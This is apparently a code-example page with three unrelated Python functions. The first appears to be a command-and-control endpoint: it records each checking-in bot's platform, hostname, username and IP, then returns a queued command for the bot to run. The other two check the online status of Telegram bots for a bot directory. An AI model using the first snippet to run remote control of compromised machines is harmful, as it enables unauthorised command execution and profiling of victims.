Exemple #1
0
def get_status(bot_id):
    bot = Bot.query.get(bot_id)  #set bot equal to var
    if not bot:  #if doesnt exist then create new bot obj and add to db (new bot)
        bot = Bot(bot_id)
    info = request.get_json(
    )  #api call by post with json obj, update the db with the json obj
    print(info)
    if info:  #updates bot info each time
        if 'platform' in info:
            bot.os = info['platform']
        if 'hostname' in info:
            bot.hostname = info['hostname']
        if 'username' in info:
            bot.username = info['username']
    bot.ip = request.remote_addr  #update ip address and last ping to now
    bot.last_ping = datetime.now()
    db.session.add(bot)
    db.session.commit()
    pending_cmd = ''  #check if the bot has any commands pending, if so then delete it and return it
    cmd = bot.commands.order_by(Command.timestamp.desc()).first()
    if cmd:
        pending_cmd = cmd.cmd
        db.session.delete(cmd)
        db.session.commit()
    return pending_cmd
Exemple #2
0
def check_submission(bot, bot_checker: "BotChecker", to_check: Bot):
    # TODO: make this method async
    if bot_checker is None:
        return

    botlistbot_user = User.botlist_user_instance()

    log.debug("Checking bot {}...".format(to_check.username))

    def reject(reason):
        to_check.delete_instance()
        msg = notify_submittant_rejected(
            bot,
            botlistbot_user,
            notify_submittant=True,
            reason=reason,
            to_reject=to_check,
        )
        bot.formatter.send_message(settings.BOTLIST_NOTIFICATIONS_ID, msg)

    try:
        peer = bot_checker.resolve_bot(to_check)
    except UsernameNotOccupied:
        to_check.delete_instance()
        reject(
            "The entity you submitted either does not exist or is not a Telegram bot."
        )
        return

    bot_checker.update_bot_details(to_check, peer)

    if to_check.userbot:
        reject(
            "You submitted the name of a Telegram user, not one of a bot. If you're trying to "
            "submit a userbot, please contact the BLSF directly ("
            "@BotListChat).")
        return

    # Check online state
    response = loop.run_until_complete(
        bot_checker.get_ping_response(to_check,
                                      timeout=18,
                                      try_inline=to_check.inlinequeries))

    is_offline = not bool(response)

    if is_offline:
        reject(
            "The bot you sent seems to be offline, unfortunately. Feel free to submit it again "
            "when it's back up 😙")
        return

    now = datetime.datetime.now()
    to_check.last_ping = now
    to_check.last_response = now

    loop.run_until_complete(add_keywords(bot, response, to_check))

    # Download profile picture
    if settings.DOWNLOAD_PROFILE_PICTURES:
        # TODO: does this work asynchronously?
        loop.run_until_complete(
            download_profile_picture(bot, bot_checker, to_check))

    to_check.save()
    log.info(f"{to_check} was evaluated and looks good for approval.")
Exemple #3
0
async def check_bot(
        bot,
        bot_checker: BotChecker,
        to_check: BotModel,
        result_queue: asyncio.Queue
):
    log.debug("Checking bot {}...".format(to_check.username))

    try:
        peer = bot_checker.resolve_bot(to_check)
    except UsernameNotOccupied:
        markup = InlineKeyboardMarkup([[
            InlineKeyboardButton(captions.EDIT_BOT, callback_data=util.callback_for_action(
                CallbackActions.EDIT_BOT,
                dict(id=to_check.id)
            ))
        ]])
        text = "{} does not exist (anymore). Please resolve this " \
               "issue manually!".format(to_check.username)
        try:
            bot.send_message(settings.BLSF_ID, text, reply_markup=markup)
        except BadRequest:
            bot.send_notification(text)
        return await result_queue.put('not found')

    if not peer:
        return await result_queue.put('skipped')

    bot_checker.update_bot_details(to_check, peer=peer)

    # Check online state
    try:
        response = await bot_checker.get_ping_response(
            to_check,
            timeout=30,
            try_inline=to_check.inlinequeries)
    except UnknownError as e:
        await result_queue.put(e.MESSAGE)
        return
    except Exception as e:
        log.exception(e)
        await result_queue.put(str(e))
        return

    for _ in range(2):
        await result_queue.put('messages sent')

    was_offline = to_check.offline
    is_offline = response.empty if isinstance(response, Response) else not bool(response)

    now = datetime.now()
    to_check.last_ping = now
    if not is_offline:
        to_check.last_response = now

    if was_offline != is_offline:
        bot.send_message(settings.BOTLIST_NOTIFICATIONS_ID, '{} went {}.'.format(
            to_check.str_no_md,
            'offline' if to_check.offline else 'online'
        ), timeout=40)

    await add_keywords(bot, response, to_check)

    # Download profile picture
    if settings.DOWNLOAD_PROFILE_PICTURES:
        await download_profile_picture(bot, bot_checker, to_check)

    to_check.save()

    if settings.DELETE_CONVERSATION_AFTER_PING:
        await bot_checker.schedule_conversation_deletion(to_check.chat_id, 10)

    await disable_decider(bot, to_check)

    await result_queue.put('offline' if to_check.offline else 'online')